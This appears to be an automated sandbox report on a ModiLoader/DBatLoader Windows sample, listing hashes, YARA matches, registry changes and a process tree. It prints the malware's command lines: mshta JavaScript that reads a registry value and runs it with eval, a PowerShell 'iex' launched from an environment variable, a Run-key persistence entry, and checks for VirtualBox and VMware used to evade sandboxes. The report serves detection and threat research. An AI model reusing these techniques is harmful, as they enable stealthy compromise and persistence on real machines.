Analysis
- max time kernel
150s - max time network
153s - platform
windows7_x64 - resource
win7-20240215-en - resource tags
arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system - submitted
09/06/2024, 10:25
Static task
static1
Behavioral task
behavioral1
Sample
e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe
Resource
win10v2004-20240508-en
General
- Target e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe
- Size 386KB
- Sample240609-mf51csaa69
- SHA256 e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289
- MD5 b44a8dbe40cf3d75a23d5b991246249b
- SHA1 78f70912abd3599935dd15d12428b41bee81e452
- SHA512 9dbdd06ba87fb1478c07bf97facf69e079553393c3905afc960ea1bb5727aa59b260bd77652b3c877de518234875f6a8fb7fd82096c9049578ae143d47609251
- SSDEEP 6144:JzYyFEqhqQK0TNhueSIfpzDx0J6Mml61EqIMiFNEnpIxI62:T1oQ1TbnRHclBIMiQpU2
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2712 2848 mshta.exe 28 - Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe - Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
description ioc Process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe - ModiLoader Second Stage 56 IoCs
resource yara_rule behavioral1/memory/2616-1-0x0000000000400000-0x0000000000467638-memory.dmp modiloader_stage2 behavioral1/memory/2616-3-0x0000000002110000-0x00000000021EC000-memory.dmp modiloader_stage2 behavioral1/memory/2616-6-0x0000000002110000-0x00000000021EC000-memory.dmp modiloader_stage2 behavioral1/memory/2616-7-0x0000000000400000-0x0000000000467638-memory.dmp modiloader_stage2 behavioral1/memory/2616-5-0x0000000002110000-0x00000000021EC000-memory.dmp modiloader_stage2 behavioral1/memory/2616-4-0x0000000002110000-0x00000000021EC000-memory.dmp modiloader_stage2 behavioral1/memory/2616-2-0x0000000002110000-0x00000000021EC000-memory.dmp modiloader_stage2 behavioral1/memory/2616-8-0x0000000002110000-0x00000000021EC000-memory.dmp modiloader_stage2 behavioral1/memory/2616-9-0x0000000002110000-0x00000000021EC000-memory.dmp modiloader_stage2 behavioral1/memory/2596-14-0x0000000006100000-0x00000000061DC000-memory.dmp modiloader_stage2 behavioral1/memory/2948-15-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-18-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2596-17-0x0000000006100000-0x00000000061DC000-memory.dmp modiloader_stage2 behavioral1/memory/2948-21-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-25-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-34-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-33-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-36-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-35-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-32-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-31-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-30-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-29-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-28-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-27-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-26-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-24-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-23-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-22-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-20-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-19-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-43-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-52-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-47-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-46-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-45-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-44-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-42-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-41-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-40-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-39-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2948-38-0x0000000000150000-0x000000000029A000-memory.dmp modiloader_stage2 behavioral1/memory/2616-55-0x0000000002110000-0x00000000021EC000-memory.dmp modiloader_stage2 behavioral1/memory/2320-61-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2320-69-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2320-73-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2320-72-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2320-70-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2320-68-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2320-67-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2320-66-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2320-65-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2320-64-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2320-63-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2320-62-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 behavioral1/memory/2320-71-0x0000000000250000-0x000000000039A000-memory.dmp modiloader_stage2 - Looks for VMWare Tools registry key 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe - Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe - Deletes itself 1 IoCs
pid Process 2948 regsvr32.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\d38b1\\f5332.bat\"" regsvr32.exe - Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2596 set thread context of 2948 2596 powershell.exe 32 PID 2948 set thread context of 2320 2948 regsvr32.exe 33 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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description ioc Process Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe - Modifies registry class 7 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\.108f08 regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\.108f08\ = "085b6" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\085b6 regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\085b6\shell regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\085b6\shell\open regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\085b6\shell\open\command regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\085b6\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:xP4Paa6=\"WO75aDRC\";g0c=new ActiveXObject(\"WScript.Shell\");J68ZAbf=\"Gr\";JG2gh4=g0c.RegRead(\"HKCU\\\\software\\\\atqjps\\\\xawh\");l7BMA8=\"X\";eval(JG2gh4);GwCa01=\"ycJoRVoO\";\"" regsvr32.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2596 powershell.exe 2596 powershell.exe 2596 powershell.exe 2596 powershell.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe 2948 regsvr32.exe - Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 2596 powershell.exe 2948 regsvr32.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2596 powershell.exe - Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2712 wrote to memory of 2596 2712 mshta.exe 30 PID 2712 wrote to memory of 2596 2712 mshta.exe 30 PID 2712 wrote to memory of 2596 2712 mshta.exe 30 PID 2712 wrote to memory of 2596 2712 mshta.exe 30 PID 2596 wrote to memory of 2948 2596 powershell.exe 32 PID 2596 wrote to memory of 2948 2596 powershell.exe 32 PID 2596 wrote to memory of 2948 2596 powershell.exe 32 PID 2596 wrote to memory of 2948 2596 powershell.exe 32 PID 2596 wrote to memory of 2948 2596 powershell.exe 32 PID 2596 wrote to memory of 2948 2596 powershell.exe 32 PID 2596 wrote to memory of 2948 2596 powershell.exe 32 PID 2596 wrote to memory of 2948 2596 powershell.exe 32 PID 2948 wrote to memory of 2320 2948 regsvr32.exe 33 PID 2948 wrote to memory of 2320 2948 regsvr32.exe 33 PID 2948 wrote to memory of 2320 2948 regsvr32.exe 33 PID 2948 wrote to memory of 2320 2948 regsvr32.exe 33 PID 2948 wrote to memory of 2320 2948 regsvr32.exe 33 PID 2948 wrote to memory of 2320 2948 regsvr32.exe 33 PID 2948 wrote to memory of 2320 2948 regsvr32.exe 33 PID 2948 wrote to memory of 2320 2948 regsvr32.exe 33
Processes
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C:\Users\Admin\AppData\Local\Temp\e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe"C:\Users\Admin\AppData\Local\Temp\e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289.exe"1⤵PID:2616
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:VQCDOJ5="2i1j4i";HW0=new%20ActiveXObject("WScript.Shell");tu4leW2V="un";lz5HN5=HW0.RegRead("HKCU\\software\\yx8blj4W8i\\8hadu6");Ojg4hz5="odMFlM8";eval(lz5HN5);wi4l9Jb="0li";1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2712 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:obqsmglk2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2948 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:2320
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\d38b1\2307a.108f08
- Size 41KB
- SHA256 c396a2bba5dbffa2aa04676ba7163836740428461681203e20d64d860584ef90
- MD5 8db2b88cd8fb3b777d08954e66663380
- SHA1 79ee3257ae285c1d945360bdb647cd5a959c1b51
- SHA512 829745ab2c8acf103f8e3c8cdad304024f62a60fadd0bda17edff475e26ce2e84f62bc98f76bfe2964fe4d4204ec926c72b16b336396fed8e51997c8a27eec0e
- SSDEEP 768:SI8fuRs6jzEcidMCixA5zZw8RvDq2ZY5d5y8HKfhJN35yReJe:SIA6v9VpxGzZF0j5dUKOhf5yse
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\d38b1\f5332.bat
- Size 64B
- SHA256 6ce6f76fa6f89f0f19877565a9ad230bb610b4ab50b4408ff44ad86824558877
- MD5 c8a30616628c098ed19b57fcb03c592b
- SHA1 e91b09dfd62b76a7e182722b886c4e8bc4c5f4bd
- SHA512 2bc8e06206b04fdaf74e2c5f1abc9fac0f69b5c3b679aaac233e9ef5435e66100cb9d0d2e834a6ecb2dffd7e58d5a3211aa76dfdcd854bea8e9f650ef5f34eaf
- MD5 SHA1 SHA512